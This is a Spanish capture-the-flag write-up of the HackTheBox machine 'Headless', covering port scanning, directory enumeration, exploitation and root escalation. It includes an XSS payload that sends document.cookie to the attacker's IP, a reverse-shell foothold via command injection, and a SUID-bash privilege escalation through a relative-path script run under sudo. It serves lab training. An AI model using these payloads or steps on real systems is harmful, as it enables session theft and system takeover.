Headless es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Headless 10.129.248.24 a /etc/hosts como headless.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.248.24 Nmap scan report for 10.129.248.24 Host is up, received reset ttl 63 (0.052s latency). Scanned at 2024-03-24 10:24:47 GMT for 13s Not shown: 65426 closed tcp ports (reset), 107 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 5000/tcp open upnp syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sun Mar 24 10:25:00 2024 -- 1 IP address (1 host up) scanned in 13.01 seconds |
Detectados los puertos abiertos, analizamos más a fondo los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 |
$ nmap -sCV -p 22,5000 -oA enumeration/nmap2 10.129.248.24 Nmap scan report for 10.129.248.24 Host is up (0.037s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA) |_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519) 5000/tcp open upnp? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Server: Werkzeug/2.2.2 Python/3.11.2 | Date: Sun, 24 Mar 2024 10:25:24 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 2799 | Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/ | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="UTF-8"> | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | <title>Under Construction</title> | <style> | body { | font-family: 'Arial', sans-serif; | background-color: #f7f7f7; | margin: 0; | padding: 0; | display: flex; | justify-content: center; | align-items: center; | height: 100vh; | .container { | text-align: center; | background-color: #fff; | border-radius: 10px; | box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2); | RTSPRequest: | <!DOCTYPE HTML> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error response</title> | </head> | <body> | <h1>Error response</h1> | <p>Error code: 400</p> | <p>Message: Bad request version ('RTSP/1.0').</p> | <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p> | </body> |_ </html> 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port5000-TCP:V=7.94%I=7%D=3/24%Time=65FFFF96%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\x20 SF:Python/3\.11\.2\r\nDate:\x20Sun,\x2024\x20Mar\x202024\x2010:25:24\x20GM SF:T\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2 SF:02799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Zfs; SF:\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20 SF:lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20 SF:\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width, SF:\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construction SF:</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20body SF:\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20 SF:'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20displ SF:ay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justify-c SF:ontent:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ali SF:gn-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20h SF:eight:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\x20 SF:\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x200,\ SF:x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTYPE\x SF:20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x2 SF:0\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\ SF:x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20respons SF:e</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\ SF:x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version SF:\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20 SF:code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20u SF:nsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Mar 24 10:26:56 2024 -- 1 IP address (1 host up) scanned in 99.16 seconds |
Enumeración
Accedemos al portal web del puerto 5000 y vemos la siguiente web
Enumeramos directorios y encontramos dos páginas
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
$ feroxbuster -u http://headless.htb:5000/ -w /data/tools/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://headless.htb:5000/ 🚀 Threads │ 100 📖 Wordlist │ /data/tools/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 93l 179w 2363c http://headless.htb:5000/support 200 GET 96l 259w 2799c http://headless.htb:5000/ 500 GET 5l 37w 265c http://headless.htb:5000/dashboard |
Nos vamos a la página de soporte y vemos el siguiente formulario
Interceptamos con burp y meteremos el siguiente payload
|
1 |
<img src=x onerror=this.src="http://10.10.14.117/a.js?c="+document.cookie> |
Donde nos muestra la siguiente ventana de intento de hackeo, pero que nos da también la cookie de admin
Así que interceptamos con burp y la petición de acceso al dashboard e introducimos la cookie obtenida
Y obtenemos acceso
El formulario del dashboard es vulnerable a command injection, así que interceptamos con burp y lanzamos nuestra revshell
Y estamos dentro
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.129.248.24 49748 bash: cannot set terminal process group (1170): Inappropriate ioctl for device bash: no job control in this shell dvir@headless:~/app$ whoami whoami dvir dvir@headless:~/app$ |
Obteniendo la flag de user
Y tenemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 |
dvir@headless:~$ ls -l ls -l total 8 drwxr-xr-x 3 dvir dvir 4096 Feb 16 23:49 app lrwxrwxrwx 1 dvir dvir 9 Feb 2 16:05 geckodriver.log -> /dev/null -rw-r----- 1 root dvir 33 Mar 24 06:09 user.txt dvir@headless:~$ cat user.txt cat user.txt d9142b2857429f9ae8eec4478bb0bc6b dvir@headless:~$ |
Escalado de privilegios
Una vez dentro revisamos los permisos del usuario
|
1 2 3 4 5 6 7 8 9 |
dvir@headless:~$ sudo -l sudo -l Matching Defaults entries for dvir on headless: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User dvir may run the following commands on headless: (ALL) NOPASSWD: /usr/bin/syscheck |
Revisamos el script syscheck cuyo contenido es el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
#!/bin/bash if [ "$EUID" -ne 0 ]; then exit 1 fi last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1) formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M") /usr/bin/echo "Last Kernel Modification Time: $formatted_time" disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}') /usr/bin/echo "Available disk space: $disk_space" load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}') /usr/bin/echo "System load average: $load_average" if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then /usr/bin/echo "Database service is not running. Starting it..." ./initdb.sh 2>/dev/null else /usr/bin/echo "Database service is running." fi exit 0 |
Viendo el script, este ejecuta el fichero initdb.sh en la ruta donde está el usuario, así que vamos a crearlo con el siguiente contenido, que dará suid al binario de bash
|
1 2 3 4 |
dvir@headless:~$ echo "chmod u+s /bin/bash" > initdb.sh echo "chmod u+s /bin/bash" > initdb.sh dvir@headless:~$ chmod +x initdb.sh chmod +x initdb.sh |
Ejecutamos con sudo
|
1 2 3 4 5 6 |
dvir@headless:~$ sudo /usr/bin/syscheck sudo /usr/bin/syscheck Last Kernel Modification Time: 01/02/2024 10:05 Available disk space: 1.9G System load average: 0.16, 0.20, 0.09 Database service is not running. Starting it... |
Y verificamos que ha funcionado
|
1 2 3 |
dvir@headless:~$ ls -l /bin/bash ls -l /bin/bash -rwsr-xr-x 1 root root 1265648 Apr 24 2023 /bin/bash |
Obteniendo la flag de root
Verificado el permiso de suid, escalamos a root y cogemos la flag
|
1 2 3 4 5 6 7 8 |
dvir@headless:~$ bash -p bash -p id uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users) whoami root cat /root/root.txt a7d63fb08e527c4e1da9dede0c0c8fa1 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
